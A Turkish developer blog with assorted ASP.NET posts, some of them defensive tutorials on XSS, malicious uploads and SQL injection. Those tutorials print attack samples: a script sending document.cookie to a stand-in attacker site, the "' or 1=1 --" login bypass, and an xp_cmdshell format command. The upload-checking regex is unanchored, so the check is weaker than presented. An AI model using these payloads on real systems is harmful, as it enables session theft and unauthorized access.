The SourceSafe Web Service cannot be accessed at the specified address

Visual Studio 2008 ve Visual Source Safe 2005 ikilisini kullananların projelerine internet üzerinden ulaşmaya çalışırken "The SourceSafe Web Service cannot be accessed at the specified address" şeklinde bir hata alabilirler. Bunun iki sebebi olabilir.

1. Server tarafındaki VSS 2005 in kullandığı Web Servis düzgün çalışmıyordur. http://server/Soursafe/VssService.asmx in doğru çalıştığını teyit edin.

a. IIS e girip SorceSafe sanal dizinin ASP.NET 2.0 versiyonu ile çalıştığından emin olun.

b. "Request format is unrecognized" şeklinde bir hata alıyorsanız. http://support.microsoft.com/default.aspx?scid=kb;en-us;819267 adresidneki KB yi uygulayın.

2. Serverdaki Web Service doğru çalışıyorsa ve SSL kullanmıyorsanızsanız. Visual Studio 2008 de

a. Tools->Options->Source Control->Plug-In Settings
b. Advanced butonuna tıklayın.
c
. "use SSL" checkbox'ını kaldırın.

 

Nerde Kalmıştık ?

Vaktiyle blog'uma askere gidiyorum diye bir post girip bırakmıştım.

Saolsun bir çok eş-dost-tanıdık iyi dileklerini yazmışlar yorum kısmına. Hepsine teker teker cevap yazamadım. Buda toptan teşekkür olsun. Var olun. Bu mesajlarını oldukça moral verdi bana.

Şükür kazasız belasız bitirdik geldik.

Şimdi -geri- kaldığım yerden tekrar başlıyorum herşeye.

HP Pavilion Media Center TV m7645.tr Desktop PC almıştım. Sistemi tekrar yüklemem gerekti. Lakin ürünün yanında alışık olduğumuz gibi işletim sistemi ve sürücülerin bulunduğu bir CD çıkmadı. Benim parasını ödediğim 250 GB lik HDD'in 7 GB'lik bir bölümünü recovery için ayırmış. Windows XP, 2003, Vista gibi işletim sistemleri ile içindeki dosyalara ulaşamadım. Bir sanal makine kurup linux ile ulaştım ancak, bu bölüm içindeki dosyalar farklı bir formatta.

Windows XP kurayım dedim. Kuruluş aşamasında mavi ekran gördüm. Sonradan farkettim HDD Raid olarak tanıtılmış. BIOS tan IDE olarak değiştirip kurulumu tamamladım. Maşallah Windows XP kurulumu bittiğinde hiçbir donanım ototmatik olarak tanındamı.

Güç bela sürücülerini bulup. Kurdum. Sorun peşimi bırakırmı ? Fall 2006 Original HP Multimedia Keyboard/Mouse Drivers için .net Framework 1.0 yada üstü gerekli idi. Bir sürücü .net Framework'ü kurdurtmanın ne alemi vardı ? Bu seferde ses kartı sürücüsü Fall 2006 Original Realtek High Definition Audio Drivers  için "Microsoft Universal Audio Architecture (UAA) Bus Driver for High Definition Audio" nun gerekli olduğu uyarısını aldım.  Neyseki onuda HP nin sitesinden bulup tamam ettim.

Yalnız Motherboard BIOS Update i çalıştırınca kurulumdan evvel BIOS ta yaptığım RAID -> IDE değişikliği eski haline geliyor ve PC açılmıyor. Bu yüzden BIOS güncellemesinden sonra BIOS a girip tekrar IDE ye çevirmek gerekiyor.

 Bu ürünü almayın demiyeceğim zaten HP artık bu ürünü üretmiyormuş :)

***

Ehternet kartım tanıtılmadığı için sürücüleri bir internet kafeden indirmek zorunda kaldım. "Cengiz Abi USB leri neden kapattın ?" diye sordum. "Ben saatlerimi vereyim internetten film, mp3 indireyim, adam gelsin benim emeğimi bir dakka da alsın, varmı öyle yağma" dedi. "Şimdi senin internetten indirdiğim filmin, mp3'ün yapımcılarının hakkı ne olacak ?" diye soracak oldum. Mevzu ne onun anlayabileceği nede benm anlayabileceğim bir yere uzar diye düşünüp "Sen süpermarketi kapatalı ne kadar oldu ? Çayın tazeyse getir içelim." deyip esnaf muhabbetine döndürdüm.

Hesabı öderken mermer masada hala "Cengiz Gıda" yazıyordu.. 

***

 Tabii Cengiz Abi 8 yıl önce, İnternet Kafelerin değerlendirildiği bir Hakkı Öcal yazısına konu olduğunu hala bilmiyor.

Herşey Vatan İçin

23 Mayıs 2007 tarihinde vatani görevimi yerine getirmek üzere Bilecik 2nci Jandarma Er Eğitim Tugay Komutanlığı'na teslim olacağım.

 

 

Posted by Selçuk Yavuz | 43 comment(s)
Filed under:

Community Server 2007

Sonunda sitenin yazılımını yeni sürüme yükselttim.

Artık sitenin alt yapısında Community Server 2007 çalışıyor.

Tabii ki Upgrade ve SP1 i kurma sırasında malum Community Server Kurulum Hataları ile karşılaştım.

Birileri Telligent firmasına Turkish I Problem'in varlığından haberdar etsin Smile

Dikkatimi çeken ve hoşuma giden özelliklerinden birisi Thema'ların üzerinde rahatlıkla kişiselleştirme yapabiliyorsunuz.

Ve daha da hoşuma giden şey ise tek blog hesabı ayarının dahada basitleşmiş olması.

How can I configure Community Server for a Single User Blog? linke tıklayın

İndirdiğimiz zip dosyasından iki adet config dosyası çıkıyor.

  • communityserver_override.config
  • siteurls_override.config

Yani artık config dosyaları içerisinde kaybolmayacağız.

Bu dosyaları sitemizin ana dizinine kopyaladıktan sonra communityserver_override.config dosyası içinde ufak bir değişiklik yapmamız yeterli.

<Override xpath = "/CommunityServer/Weblog" mode = "new" name = "defaultApplicationKey" value = "BLOG_HESAP_ISMI_BURAYA" />

Bu kadar.

Posted by Selçuk Yavuz | 2 comment(s)
Filed under:

Cross Site Scripting (XSS)

Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.

Örneğin bir ziyaretçi defteri doldururken mesaj kısmına

<script> location.href= ‘http://www.google.com’;</script>

Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir.

Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.

<script>
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie
</script>

Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.

ASP.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.

Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta. 

Bu da ASP.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor.  Bu da XSS saldırıları için bir davet anlamına gelir.

Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.

Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.

Javascript için basit bir örnek verelim.

Default.aspx dosyamızda bulunan Javascript :

<script type="text/javascript" >
        alert('Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />');
</script> 

Default.aspx.cs dosyasından gönderilen bilgi :

ltAd.Text = "Selçuk";

Sayfa çalıştırıldığında “Merhaba Selçuk” şeklinde bir MessageBox çıkıyor.

“Selçuk” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa :

ltAd.Text = " ' location.href='http://www.google.com'; alert('a";

Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim :

<script type="text/javascript" >
alert('Merhaba '); location.href='http://www.google.com'; alert('a');
</script>

Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.

Bu konuda örnekler çoğaltılabilir. Biz şimdi alacağımız önlemlere geçelim.

 

 


Bunun için “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacağız.

http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en adresinden temin edebileceğiniz AntiXSSLibrary.dll i projemize dahil ediyoruz.

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.

Bu metotlar :

• HtmlEncode
• HtmlAttributeEncode
• JavaScriptEncode
• UrlEncode
• VisualBasicScriptEncode
• XmlEncode
• XmlAttributeEncode

Yukarıda verdiğimiz örneklerden Javascript için

ltAd.Text = "');  location.href='http://www.google.com'; alert('a");

yerine

using Microsoft.Security.Application.AntiXss;

...

ltAd.Text = 
JavaScriptEncode("'); location.href='http://www.google.com'; alert('a");

Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.

Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim :

<script type="text/javascript" >
        alert('Merhaba '\x27\x29\x3b 
location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b
alert\x28\x27a'
); </script>

Görüldüğü gibi “)“ işareti \x27 ye , “;” işareti \x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.

Örneğin

ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode("Selçuk");

Şeklinde bir kullanımda ekranda “Selçuk” yazar ancak kaynak kodunda “ç” karakteri  \u00e7 olarak kodlanmıştır.

Bunun sebebi ise AntiXSS kütüphanesinin belli başlı karakterleri encode eder.  Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” ,  çift tırnak “"” ve ascii değeri 160-255 arası olan karakterlerdir.

“ç”  harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır.


* What You See What You Get


 

 

Posted by Selçuk Yavuz | 2 comment(s)
Filed under: ,

Malicious File Execution

Kötü Niyetli Dosya Çalıştırma

 

Web uygulamanıza FileUpload ile dosya yüklemesi yapmak durumunda iseniz gelen dosyanın türünü mutlaka denetlemek gerekir. Örneğin bir Forum uygulaması yaptınız ve kullanıcılar kendi resimlerini resimler klasörüne upload edebilmekteler. Saldırgan hazırlamış olduğu bir asp sayfasını resimler klasörüne upload eder ve www.siteniz.com/resimler/foo.asp şeklinde tam yolu yazarak dışardan göndermiş olduğu bir dosyayı sisteminizde çalıştırabilir.

 

Bu şekilde sisteminizin izin verdiği ölçüde yeni dosyalar oluşturabilir. Örneğin anadizinde ki default.aspx dosyasını silip yerine bir default.asp dosyası oluşturabilir. Böylece siteniz açıldığında “hacked by hacker ana” yazısı ile karşılaşabilirsiniz.

 

Böyle üzücü durumların yaşanmaması için sisteminize upload edilen dosyaların türünü denetlemek gerek.

 

Bunun için System.IO.Path ve System.Text.Regex namespacelerinden yararlanacağız.

 Önce upload edilen dosyasın uzantısı nı alacağız ve kabul ettiğimiz dosya türleri içerisinde olup olmadığını denetleyeceğiz. 
string uzanti = System.IO.Path.GetExtension(FileUpload1.PostedFile.FileName);

System.IO.Path.GetExtension metodu uzntıyı bize “.jpg” gibi noktalı bir şekilde verir.

 

Kullanıcı tarafından gönderilen dosya ismi büyük harfler ile yazılmış olabilir. Buda birazdan yapacağımız karşılaştırmada farklıymış gibi algılanmasına sebep olur. Bu yüzden uzantı harflerini küçültelim.

uzanti = uzanti.ToLower(); 

Kabul edeceğimiz dosya uzantıları için teker teker if kontrolü yazmamak için Regular Expression ifadelerinden yararlacağız.  

 
using System.Text.RegularExpressions;
.....
if(Regex.IsMatch(uzanti,".jpg|.jpeg|.gif|.png|.bmp") == false)
{
    // gönderilen dosya formatı uygun değil
}
else
{
    // gönderilen dosya formatı uygun.
}

 

Kaynak

http://www.owasp.org/index.php/Top_10_2007-A3

 

Posted by Selçuk Yavuz | 6 comment(s)
Filed under: , ,

Injection Flaws

Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır.

Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir.

Select MemberID
From Member
Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"

Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim

txtUsername.Text : ' or 1=1 --
txtPassword.Text : 123

ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar

Select MemberID 
From Member 
Where Username = '' or 1=1 -- ' and Password = '" + txtPassword.Text + "'"

-- ifadesi SQL Server için yorum satırı anlamına geldi için çalıştırılmaz.

Where ifadesini inceleyelim :

Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur. Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve saldırgan ilk kaydın yetkisi ile içeriye giriş yapmış olur.

Saldırgan “SQL Injection” yöntemi ile veritabanı hakkında daha detaylı bilgi edinebilir. SQL Server üzerinde System Administrator hesabı açabilir, Tüm Tabloların listesini ve bu tabolardaki bilgilere ulaşabilir. Hatta web uygulaması sa yetkisine sahip bir kullanıcı ile çalıştırılıyorsa xp_cmdshell ‘format C:’ ile sisteme format bile atabilir.


Dinamik SQL sorgularındaki bu içeri sızmaları engellemenin yolu parametre kullanmaktır.

Bunu SqlCommand nesnesine SqlParameter tipinde parametre ekleyerek yapabiliriz. 

SqlConnection conn = new SqlConnection();
conn.ConnectionString = "[ ConnectionString ]";
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandText = " Select MemberID" 
 + " From Member"
 + " Where Username = @username and Password = @password";
cmd.Parameters.AddWithValue("@username",txtUsername.Text);
cmd.Parameters.AddWithValue ("@password",txtPassword.Text);
conn.Open();
int MembetID = Convert.ToInst32(cmd.ExecuteScalar());
conn.Close();

Bu şekilde kullandığımız dinamik SQL sorgularında Injection yönetimini bertaraf etmiş oluruz.

 

Kaynaklar

 

Posted by Selçuk Yavuz | with no comments

Microsoft Anti-Cross Site Scripting Library

Owasp Top 10'da ilk sıraya oturmuş bir hacking yöntemi Cross Site Scripting.

Üç Harfli Kısaltma sözlüğünde CSS i Cascading Style Sheets'e kaptırdığından olacak kısaca XSS olarak anılıyor.

ASP.NET programcıları için Microsoft tarafından yayınlanan bir kütüphane ile XSS saldırılarına karşı önlem alabilirsiniz.

Microsoft Anti-Cross Site Scripting Library V1.5

Bu kütüphane ile

  • Html
  • HtmlAttribute
  • JavaScript
  • Url
  • VisualBasicScript
  • Xml
  • XmlAttribute

elemanlarını encode edebilirsiniz.

Posted by Selçuk Yavuz | with no comments

Eziriz

.Net için hazırlanmış Obfuscator programlardan biri : Eziriz

Takdir ettiğimin özelliklerinden biri ise IL kodları silmesi. ( Artık ne yapıyorsa )

Reflector ile karışık kodları görmeme bile izin vermedi.

Fiyatıda emsallerine oranla gayet makul.

Posted by Selçuk Yavuz | with no comments
Filed under:

Dsofile ile Office Belgelerinin Özelliklerini düzenlemek

0.Giriş

Metadata ifadesinin tanımına baktığımızda “veri hakkında veri” diye bir kavram ile karşılaşırız. En basit örneği ile MP3 dosyalarımızda dinlediğimiz müziğin ses bilgilerinin yanı sıra sanatçı, parça ismi, yapım yılı gibi bilgilerininde ID3 formatında bulunmasıdır. Bu bilgiler MP3 dosyalarının son 128 bitinde yer alır. Başka bir örnekte dijital fotoğraf makinesi ile çekilen fotoğraf belgelerinde bulunan EXIF bilgileridir. Buda çekilen fotoğrafın tarihi, makinenin markası ve ışık, pozlama gibi fotoğrafçılık ile ilgili bilgilerin aynı dosyada barındırılmasını sağlar. Bütün bu bilgilerini saklanma sebebi herhangi bir arama işleminde ulaşılacak veri hakkında özet verilere ulaşmaktır.

Günümüzde arama motorlarının önem kazanması ve bu konuda yapılan arge çalışmaları ve yatırımların artmasıda ulaşılmak istenen verinin daha kısa zamanda bulunması içindir.

Google ve MSN arama motorlarının Desktop versiyonları temelde IFilter arayüzü ile sistemimizdeki tüm dosyaları indeksler. [1] Bunun için yazılım firmaları kendi ürünleri için bir IFilter arayüzünü programlar. Microsoft Office’i kurduğunuzda bu sisteminizde otomatik kurulurken PDF dökümanları için Adobe firmasının sitesininden IFilter arayüzünü indirip kurmanız gerekmektedir.  [2]

Bazı komponent firmaları ise JPEG [3] ve Audio Video [4] formları için ücretli IFilter arayüzleri oluşturlardır.

Tüm bu IFilter arayüzlerinin temeli ise Object Linking and Embed teknolojisi altındaki IpropertyStorage arayüzünün kullanılması ile bağlantılıdır. [5] Buda bir programcı için Win32 sistem kaynaklarının kullanımının zorluğu demektirki her yazılım firmasının kendi IFilter arayüzünü yazması için bir sebeptir.

Microsoft, Office belgelerindeki bu metadata’ların programcı tarafından okunması ve değiştirilebilmesi için “Microsoft Developer Support OLE File Property Reader 2.0” ismi altında C++ ile geliştirdiği bir COM komponentini geliştirmiş. [ 6 ]

Herhangi bir Office belgesinin üzerine sağ tıklayıp özelliklerine girdiğimizde aşağıdaki gibi özet bilgilere ulaşabiliriz :

Buradaki bilgilerden bazılarını değiştirebilirken bazılarıda salt okunurdur.

1. Senaryo

Bir kitabevi yabancı dilden çevirdiği eserler için çeviri yapan kişiye kelime başına bedel ödemektedir. Aysonu geldiğinde içinde bulundukları ay boyunca yapılan tüm çeviler hesaplanıp ödeme planı çıkarılmaktadır. Buna ek olarak yapılan çevirilerin karakter sayıları, boşluklarla birlikte karakter sayıları, sayfa sayıları ve kelime sayıları istatistiki bilgi olarak tutulmaktadır. Çeviri bedellerini hesaplayan şahıs zaman zaman word belgelerinde bulunan Author özelliğinde düzenleme yapabilmelidir.

2. Çözüm

Kullanıcının kendi dosyaları arasında rahatça dolaşabilmesi için Form’umuza bir adet TreeView kontrolü ekledim. Ve Form’un Load ve TreeView’ın AfterSelect event’larına gerekli kodları yazdım.

Makalenin örnek projesinde detaylarını inceleyebilirsiniz. Biz asıl konumuza odaklanalım.

2.1 Okuma

Herhangi bir word dosyası seçildiğinde

DSOFile.OleDocumentPropertiesClass namsespace’indeki class’ın bir instance’ını oluşturuyoruz :

DSOFile.OleDocumentPropertiesClass odp = new DSOFile.OleDocumentPropertiesClass();

Daha sonra Open metodu ile ilgili dosyayı açmamız gerekiyor. Open metodu üç parametre almaktadır :

void OleDocumentPropertiesClass.Open(
string fileName,
bool ReadOnly,
DSOFile.dsoFileOpenOptions Options
);

fileName : Bilgileri okunacak dosyanın yolu.

ReadOnly : True ise açılan dosya bilgileri değiştirilemez. False ise değiştirilebilir.

Options : DSOFile içinde bulunan enum tipinde değişkendir. Alabileceği değerler

• dsoOptionDefault
• dsoOptionDontAutoCreate
• dsoOptionOnlyOpenOLEFiles
• dsoOptionOpenReadOnlyIfNoWriteAccess
• dsoOptionUseMBCStringsForNewSets

Artık dosyamızı bilgi okumak için açıyoruz : 

odp.Open(fileInfo.FullName, true, DSOFile.dsoFileOpenOptions.dsoOptionDefault); 

Bundan sonra ihtiyacımız olan verileri odp objesinden okuyabiliriz. 

string author = odp.SummaryProperties.Author;
int characterCount = odp.SummaryProperties.CharacterCount;
int characterCountWithSpaces = odp.SummaryProperties.CharacterCountWithSpaces;
int pageCount = odp.SummaryProperties.PageCount;
int wordCount = odp.SummaryProperties.WordCount;

İşimiz bittikten sonra objemizi Close metodu ile kapatabiliriz. Close metodu ise bir parametre almaktadır.

void OleDocumentPropertiesClass(bool SaveBeforeClose)

SaveBeforeClose : True ise yapılan değişiklikleri kaydeder ve kapatır,  false ise kaydetmeden kapatır.

Herhangi bir değişiklik yapmadığımız için false değeri ile close metodunu çalıştırıyoruz: 

odp.Close(false); 

2.2 Yazma

Save butonu altında yaptığımız tek değişiklik Author kısmıdır bu yüzden benzer sadece Author özelliğini değiştirip nesnemizi kapatırken true değerini vereceğiz.

DSOFile.OleDocumentPropertiesClass odp = new DSOFile.OleDocumentPropertiesClass();
odp.Open(fileInfo.FullName, false, DSOFile.dsoFileOpenOptions.dsoOptionDefault);
odp.SummaryProperties.Author = txtAuthor.Text;

odp.Close(true);

[1] http://www.codeproject.com/csharp/IFilter.asp
[2] http://www.adobe.com/support/downloads/detail.jsp?ftpID=2611
[3] http://www.aimingtech.com/jpeg_ifilter/download.htm
[4] http://www.aimingtech.com/av_ifilter/index.htm
[5] http://msdn2.microsoft.com/en-us/library/aa379968.aspx
[ 6 ] http://www.microsoft.com/downloads/details.aspx?FamilyID=9ba6fac6-520b-4a0a-878a-53ec8300c4c2&DisplayLang=en

Posted by Selçuk Yavuz | with no comments
Filed under: ,

Dynamic Role Based Security

Peter Bromberg'in FormsAuthentication, Identities and Role - based Security with a database isimli makalesinde role tabanlı güvenliği nasıl sağlayacağımızı bir güzel anlatmış.

Kullanıcı giriş yaptıktan sonra herhangi bir işlem için User.IsInRole metodu ile yetkisini sınayabiliyoruz. 

if (User.IsInRole("Administrator")) 
{
    // bir şeyler yap
}
else
{
    // yetkin yok
}

Buda bir noktadan sonra güvenliği "code based" hale getiriyor ve yetki denetimi yapacağımız yerlerde bu if ifadesini eklememiz anlamına geliyor. Açıkça bu tür bir yetki denetimi benim pek hoşuma gitmiyor. İlgili işleme birde Supervizor'un yetki si eklendiğinde if satırımızı şu hale getirmemiz gerekecek :  

if ( 
User.IsInRole("Administrator") == true
||
User.IsInRole("Supervizor") == true
)

 Yeni bir rol eklendiğinde if satırımızda değişiklik yapmak gerecek.

Bu yetki denetimini olabildiğinde kod dışınadn tutmanın diğer bir yolu ise yetkileri web.config'ten belirlemek.

<configuration>
    
   ....


  <location path="Admin">
    <system.web>
      <authorization>
        <allow roles="Admin,Supervizor" />
        <deny users="*" />
      </authorization>
    </system.web>
  </location>     

</configuration>

Artık User.InRole mümkün mertebe daha az kullanılır hale getirdik. Peki, başlıkta da belirttiğinmiz gibi rollerimiz dinamik ise ? Yeni eklenen rol ü web.config e elimizel mi ekleyeceğiz ?

"Dynamic web.config" diye kısa bir google sorgulamasında güzel kaynaklara ulaşıyoruz. Yine Peter Bromberg abimizin Runtime Web.config / App.config Editing başlıklı güzel bir makalesine rastlıyoruz. Ancak benzer çoğu makale AppSetting ve ConnectionString üzerine odaklanmış.

Burdan hareketle kendi çözümümüzü üretmeye başlıyoruz.

Tam olarak yapmak istediğiniz 

<allow roles="Admin,Supervizor" />

satırına yeni bir role eklemek.

Web.config te nihayetinde bir XML belgesidir deyip Xpath ide yanımıza alıp System.XML in kapısını çalıyoruz.   

string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
string path = System.IO.Path.Combine(baseDirectory, "Web.Config");
XmlDocument doc = new XmlDocument();
doc.Load(path);
XmlElement configuration = doc.DocumentElement;
XmlNode location = configuration.SelectSingleNode("location[@path='Admin']");
XmlNode allow = location.SelectSingleNode(@"system.web/authorization/allow");
allow.Attributes["roles"].InnerText += ",Ahmet";
doc.Save(path);
Uyarı : Web.config te yapılan her değişiklik IIS te Application'ı resetler. Bu kod çalıştıktan sonra Session larınız düşebilir. Üye girişinde cookie kullanmıyorsanız tüm kullanıcılar tekrar giriş yapmak zorunda kalabilir.
Posted by Selçuk Yavuz | 1 comment(s)
Filed under: ,

Community Server Kurulum Hataları

Bu sitenin alt yapısında kullandığım Community Server kurulumunda bazı hatalarla karşılaşabilirsiniz. CS'i yazan zat-ı muhteremlerin bölgesel ayarları English olduğundan onlar böyle bir hata ile karşılaşmıyorlardır ancak sizin bölgesel ayarlarınız "Türkçe" ise "i" ve "I" karakterlerinin uyumsuzluğundan kaynaklanan hatalar alabilirsiniz.

Bu yüzden CS'in Web Setup (MSI) yani otomatik kurulumunu değilde en azından veritabanının manuel olarak kurulmasını tavsiye ederim.

CS veritabanınızı manuel olarak kursanızda karşılaşmanız muhtemel sorunları belirlelim.

SqlScripts klasörü altında bulunan cs_Procedures isimli dosyada

Satır   Sütun   Eski Değer     Yeni Değer
-----   -----   -----------    -----------
  104      8    isIndexed      IsIndexed
 2529     57    cs_UseriD      cs_UserID
16941     14    @parentid      @parentId
19612     45    Impressions    impressions

 

Ek olarak kurulumda sorun çıkarmayan ancak Run Time da yani CS i kullanırken karşılaştığım benzer sebeplerden kaynaklanan bir hata daha var. O da bir Blog Girişi yaparken ortaya çıkıyor. Hatanın sebebi cs_SectionTokens_Get isimli Stored Procedure kullanılan @SectionID nin yazılım içinde @sectionid olarak küçük harflerle yazılması.

Kurulumdan önce şu değerleri değiştirirsek sorun yaşamayız :

Satır   Sütun   Eski Değer     Yeni Değer
-----   -----   -----------    -----------
14036      5    @SectionID     @SectioniD
14040    117    @SectionID     @SectioniD

Eğer Veritabanını kurduysak bu hatayı gidermek için SQL Server Studio Management'te aşağıdaki kodu çalıştırırsak hata giderilecektir :

Alter Proc [dbo].[cs_SectionTokens_Get]
(
   
@SectioniD int,
   
@SettingsID int
)
as
Select
TokenID, Token, Link, [Text], SectionID FROM cs_SectionTokens where SettingsID = @SettingsID and SectionID = @SectioniD Order by Token

GO

Posted by Selçuk Yavuz | 2 comment(s)
Filed under:

PHP ve MYSQL gibi açık sistemlerin kalesi Yahoo da Vista dalgasına kapılıyor mu ne ?

Önce .Net Framework ile çıktılar.. Vizyonumuz 10 sene sürecek 3 fazdan oluşacak dediler..
 
Klasik ASP ile yarım saatte yaptığım tabloyu DataGrid dedikleri bir şeyle 3 dakikada yaptılar.
 
Buna birinci dalga dediler..
 
İlk dalgaya Borland firması kapıldı.
 
Yazılımcıların en büyük silahı Delphi'yi tahttan indirdiler, Delphi 8.0 sürümünü .Net altyapısı üzerine kurdu.
 
Object Oriented Database kavramına SQL 2005 ile birlikte ilk adımı attılar. VS.NET 2007 ile birlikte çıkardılar.
 
Buna ikinci dalga dediler.
 
XAML diye bir şey çıkardılar. Flash'ın vektörel cazibesini masaüstüne taşıyacağız dediler.
 
IDE yi hazırlamadan .NET Framework 3.0 ı çıkardılar.
 
Üçüncü ve son dalganın habercisi idi bu.
 
Daha üçüncü dalga gelmeden PHP ve MYSQL in kalesi İnternet devi Yahoo da "Yahoo Messsenger for Windows Vista" yı piyasaya sürmek üzere.
 
Haydi hayırlısı..
Posted by Selçuk Yavuz | 3 comment(s)
Filed under:

Double Postback

ASP.NET 2.0 ile geliştirdiğimiz bir uygulamada enteresan bir bug'a rastladım.

GridView içerisinde ki CommandFiled'lar sağlıklı bir şekilde çalışıyorken. ButtonType özelliğini Image yaptığımızda postback işlemi iki kere gerçekleşiyor.

<asp:GridView ID="GridView1" runat="server">
     <Columns>
        
<asp:BoundField DataField="Name" HeaderText="Name"/>
         <asp:CommandField ShowDeleteButton="True" ButtonType="Image" DeleteImageUrl="~/Images/Icons/Delete.png" />
    </Columns>
</asp:GridView>

Uzunca bir süre kodumu inceledim nerede hata yaptım diye. "double postback" anahtar kelimeleri ile yaptığım bir araştırma sonucunda bunu bir bug olduğunu gördüm : http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=156012

Microsoft yetkilileri "We are investigating this issue" desede Bug'ı bildiren WebGolem hayli ilginç bir çözüm sunmuş :

http://connect.microsoft.com/VisualStudio/feedback/Workaround.aspx?FeedbackID=156012

Entered by WebGolem on 7/4/2006

insert the following lines in your RowCommand event:

if (Request["x"] == null || Request["y"] == null)
{
     Response.End();
}

Posted by Selçuk Yavuz | with no comments
Filed under:

Visual Source Safe ve UnauthorizedAccessException

Projelerinizi geliştirirken Visual Source Safe kullanıyorsanız Check Out yapmadan dosyaları değiştiremediğinizi biliyorsunuzdur.

Siz Check Out yapanada kadar dosyalarınız local'inizde read-only olarak tutulur.

Bu yüzden System.IO.StreamWriter yada başka bir namespace ile projenizdeki herhangi bir dosyanın içeriğini değiştirmeye çalışırsanız UnauthorizedAccessException hatası alacaksınız.

Read Only özelliğini kaldırsanız dahi debug halinde bu VSS bu dosyayı tekrar read only yapacaktır.

Bu yüzden projenizi debug etmeden evvel değiştirmeyi düşündüğünüz dosyayı önce Check Out yapın.

Posted by Selçuk Yavuz | with no comments
Filed under:
More Posts Next page »